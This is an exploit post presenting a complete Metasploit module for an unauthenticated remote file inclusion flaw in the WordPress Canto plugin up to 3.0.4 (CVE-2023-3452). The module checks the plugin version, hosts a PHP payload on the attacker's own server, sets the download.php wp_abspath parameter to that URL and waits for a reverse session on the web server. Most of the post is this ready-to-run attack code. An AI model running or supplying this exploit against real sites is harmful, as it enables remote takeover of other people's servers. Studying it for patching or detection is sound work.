============================================================================================================================================= | # Title : WordPress Canto Plugin ≤ 3.0.4 Unauthenticated Remote File Inclusion Leading to RCE | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://wordpress.com/plugins/canto | ============================================================================================================================================= [+] Summary : This Metasploit module targets a Remote File Inclusion (RFI) vulnerability in the WordPress Canto Plugin versions 3.0.4 and earlier. The issue resides in the download.php file, where the wp_abspath parameter is not properly validated before being used in a file inclusion context. An unauthenticated attacker can supply a remote URL, causing the application to include and execute arbitrary PHP code. The module works by: Verifying the installed plugin version via readme.txt. Starting a local HTTP server to host a malicious PHP payload. Triggering the vulnerable download.php endpoint with a crafted wp_abspath parameter pointing to the attacker-controlled payload. Establishing a reverse session once the remote server includes and executes the payload. Successful exploitation results in remote code execution with the privileges of the web server process [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress Canto Plugin <= 3.0.4 - Unauthenticated RFI to RCE', 'Description' => %q{ This module exploits a Remote File Inclusion (RFI) vulnerability in the WordPress Canto plugin (<= 3.0.4). The issue exists in download.php via the 'wp_abspath' parameter. }, 'Author' => [ 'indoushka' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2023-3452' ] ], 'Payload' => { 'BadChars' => "\x00" }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['Canto <= 3.0.4', {}] ], 'DisclosureDate' => '2023-06-12', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] })) register_options([ OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']) ]) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'wp-content/plugins/canto/readme.txt') }) return Exploit::CheckCode::Unknown("Target is unreachable.") unless res if res.code == 200 && res.body.include?('Canto') version = res.body.match(/Stable tag:\s*([\d\.]+)/) if version v_str = version[1] if Rex::Version.new(v_str) <= Rex::Version.new('3.0.4') return Exploit::CheckCode::Vulnerable("Canto version #{v_str} detected.") end return Exploit::CheckCode::Safe("Canto version #{v_str} is not vulnerable.") end end Exploit::CheckCode::Safe end def on_request_uri(cli, _request) print_good("Target reached out! Sending PHP payload...") send_response(cli, payload.encoded, { 'Content-Type' => 'application/x-httpd-php' }) end def exploit start_service payload_url = get_uri target_path = normalize_uri(target_uri.path, 'wp-content/plugins/canto/includes/lib/download.php') print_status("Triggering RFI at #{target_path}") print_status("Hosting payload at #{payload_url}") res = send_request_cgi({ 'method' => 'GET', 'uri' => target_path, 'vars_get' => { 'wp_abspath' => payload_url } }, 5) if res print_status("Server responded with status: #{res.code}") else print_status("No response from server (this is common for RFI), checking for session...") end handler end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================